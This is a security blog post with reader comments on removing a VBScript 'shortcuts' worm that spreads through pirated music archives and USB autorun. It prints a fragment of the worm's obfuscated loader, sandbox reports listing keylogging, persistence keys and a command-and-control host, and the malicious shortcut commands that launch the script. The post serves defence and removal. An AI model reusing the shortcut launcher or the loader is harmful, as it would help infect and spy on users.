Everybody likes music, so many people are downloading music albums or collages from untrusted sources be they illegal torrents containing copyrighted material, P2P networks or files hosting websites. After downloading and unpacking the archive we can see the folder is containing more files than the supposed music files, in our example:
– an autorun.inf file;
– an autorun.exe file;
– a VBScipt file in our example 2.vbs;
– the real music files, the songs respectively;
– shortcuts with the same name as the songs;
It is a VBScript virus, very annoying but simple to remove manually. I dare to say it is simpler to remove manually than with an antivirus software which is bypassed very easy by this kind of viruses. Here we go, the folder structure is like this:
Seeing the autorun files we can deduce that this infection method is especially created to infect the USB drives/thumbs, knowing that very often the music is copied on USB drives for sharing. Every time an USB drive is plugged into the infected computer, the virus which is resident in memory, copy its components on that USB thumb and infect it, besides that it produces infected shortcuts for files and folders found there and inverse, every time an infected USB drive is plugged into a clean computer with Autorun feature enabled, the virus run automatically and copy its components in several locations in the computer ensuring also their automatic startup, this way the virus is spreading like a computer worm virus. For who does not know, a computer with Autorun feature enabled will always execute the autorun.inf file automatically when the USB drive is plugged in.
The main component of this virus is the malicious VBScript file, named here 2.vbs which comes in an encoded form, this is part of it:
……cDqQMzk”):ExecuteGlobal(M):function T(P):T=Q(P):end function:Dim F,O,G,N,C,V,B,J:Function Q(ByVal U):Const D=”0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/”:U=Replace(U,vbCrLf,””):U=Replace(U,vbTab,””):U=Replace(U,” “,””):F=Len(U):If F Mod 4<>0 Then Err.Raise 1,”Base64Decode”,”Bad Base64 string.”:Exit Function:End If:For G=1 To F Step 4:N=3:J=0:For C=0 To 3:V=Mid(U,G+C,1):If V=”=”Then N=N-1:B=0:Else B=InStr(1,D,V,vbBinaryCompare)-1:End If:If B=-1 Then Err.Raise 2,”Base64Decode”,”Bad character In Base64 string.”:Exit Function:End If:J=64*J+B:Next:J=Hex(J):J=String(6-Len(J),”0″)&J:O=O&Left(Chr(CByte(“&H”&Mid(J,1,2)))+Chr(CByte(“&H”&Mid(J,3,2)))+Chr(CByte(“&H”&Mid(J,5,2))),N):Next:Q=O:End Function
I ran it in Sandboxie with BSA plugin to see the actions it takes in the computer, this is the important part of the report:
[ Changes to filesystem ]
* Creates file (hidden) C:\Users\Cyberstorm\AppData\Local\Temp\2.vbs
* Creates file (hidden) C:\Users\Cyberstorm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2.vbs <—-these are the locations from where we must delete the malicious file, 2.vbs
* Creates value “2=wscript.exe //B “C:\Users\CYBERS~1\AppData\Local\Temp\2.vbs”” in key HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\run
22000000 <—- a registry entry for automatic startup of the malicious file at next computer boot
[ Network services ]
* Looks for an Internet connection.
* Connects to “127.0.0.1” on port 65113.
* Connects to “hackeriraq.no-ip.biz” on port 80.
* Connects to “184.108.40.206” on port 8888.
[ Process/window/string information ]
* Keylogger functionality.
* Gets user name information.
* Gets computer name.
* Checks for debuggers.
* Creates process “C:\Users\Cyberstorm\Desktop\New folder (4)\2.vbs, 2.vbs , null”.
* Creates process “C:\Windows\System32\WScript.exe, “C:\Windows\System32\WScript.exe” “C:\Users\Cyberstorm\Desktop\New folder (4)\2.vbs” , C:\Users\Cyberstorm\Desktop\New folder (4)”.
* Injects code into process “C:\Windows\System32\wscript.exe”.
In order to remove this virus we must delete the malicious VBScript file from these two locations:
The Temporary folder, in Windows 7 the path is:
and Startup folder:
– C:\Users\current_user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2.vbs
but before we must kill the wscript.exe process from Task Manager, otherwise we will encounter an error saying that the files can not be deleted because it is used by Microsoft Windows Script Host(WSH). Why? VBScript files are not standalone applications, standalone executables, they must be executed(interpreted) by a Windows component–WSH which appears in Task Manager as wscript.exe process. We will never see a VBScript file as a process but instead its interpreter, wscript.exe.
The other virus component, autorun.exe execution report:
[ General information ]
* File name: C:\Users\Cyberstorm\Desktop\New folder (4)\autorun.exe
[ Changes to filesystem ]
* Creates file (hidden) C:\Users\Cyberstorm\AppData\Local\Temp\tmp7062.tmp.exe
* Creates value “Mozilla Corporation.exe=C:\Users\Cyberstorm\AppData\Local\Temp\tmp7062.tmp.exe” in key HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run
binary data=43003A005C0055……3005C0043007900 <– a new entry in the registry for automatic startup
Fortunately, this component has not a hidden process, we will see it as tmp7062.tmp.exe process in Windows Task Manager, we can end the process and delete it from temporary folder. Be aware of the name, it’s tmpXXXX.tmp.exe, in reality it is autorun.exe camouflaged.
But what is the role of the created shortcuts? The shortcuts are used as infection vectors. If we take a close look on the Properties of the shortcuts(right-click>Properties>Shortcut>Target) we see this command(shortcut Target) for example for Gold Cobra.mp3:
C:\Windows\system32\cmd.exe /c start 2.vbs&start Gold” “Cobra.mp3&exit
Using cmd.exe Windows component, it’s started first 2.vbs which is in the same folder as the shortcut and will infect the system and then Gold Cobra.mp3 song which is also in the same folder. Because of mp3 extension, the system will start automatically the program associated with it, let’s say Windows Media Player tricking the user that everything is OK.
For the folders, let’s take as example shortcut for Limp Bizkit folder, the Shortcut Target is:
C:\Windows\system32\cmd.exe /c start 2.vbs&start explorer Limp” “Bizkit&exit
The same infection method can be used if folders contains for example photos or images.
Well, let’s do the recapitulation, the steps for this virus removal are in this order:
Kill(End) processes from Windows Task Manager:
Delete the following files :
– C:\Users\Cyberstorm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2.vbs;
These paths of the files are for Windows 7, for Windows XP the paths may be different however the folders are the same, Temporary and Startup folder. You can also delete the automatic startup registry entries but these are not dangerous anymore if you delete the files above mentioned, if you are afraid to delete manually from the registry you can use a registry editor or a program able to control startup programs, you can use also in Windows 7, Run>then type “msconfig”(without quotes)>Startup.
To prevent such kind of infections in the future you can do two things:
– The first is to disable the Autorun which is a huge security risk assumed for a small feature. Here on addictivetips.com is described a method to carry out this or you can use the fix from Microsoft. Microsoft has also a good article about how to disable the Autorun functionality.
– The second thing you can do to avoid such USB drives/thumbs infections is to “immunize” the USB drive, to inject a “vaccine” on it which is practically a dummy autorun.inf file with Read Only property. In this way, a virus can not write its own autorun.inf file on that USB drive because it’s there already one that can not be deleted. You can use several programs for this task:
– USB Immunizer from Bitdefender Labs;
– Panda USB and AutoRun Vaccine from Panda Security;
– Autorun USB Virus Finder from SourceForge;
Detection ratio: 18 / 49
Analysis date: 2013-12-16 05:05:00
Detection ratio: 16 / 41
Analysis date: 2013-12-23 22:52:57 UTC
Not very good detection rate, isn’t it?
Keep Safe !
this is the only post that i have found that actually works!!!! thanks!!!! i went straight to the registry and deleted the file… mine was called COOL..vbs
yes it had 2 dots… thanks again 🙂
How does this work for windows vista?
[…] Looks like the malware TS describes. VBScript “shortcuts” virus removal | Security on Steroids […]
Very good post
Excellent post. After several unsuccessful attempts, this has solved my problem.
it works for windows 8 !! Thank you so much 🙂
Hi, i made a VBS RegVirus Cleaner to stop and to get rid of this kind of Virus (“Wscript.exe”)
Awesome explanation. Quick fix programs serve instant purpose but the knowledge share that is given here is long lasting. Thank you very much
Excellent post. Very helpful
This issue started when i download new windows 10 64bit from online torrent. After the installation whenever i plug USB Flash drive it use to get infected. I scanned several times McAfee detect as virus and removes it then again i plug again the same issue.
I follow this article and seems to me fine now. I will Restart my computer few time and make sure its gone.
I have just one question from where did it come from? Is it from the windows 10 Torrent, which i installed recently?
Kudos to Admin for this awesome solution !! You saved us 🙂 God Bless you…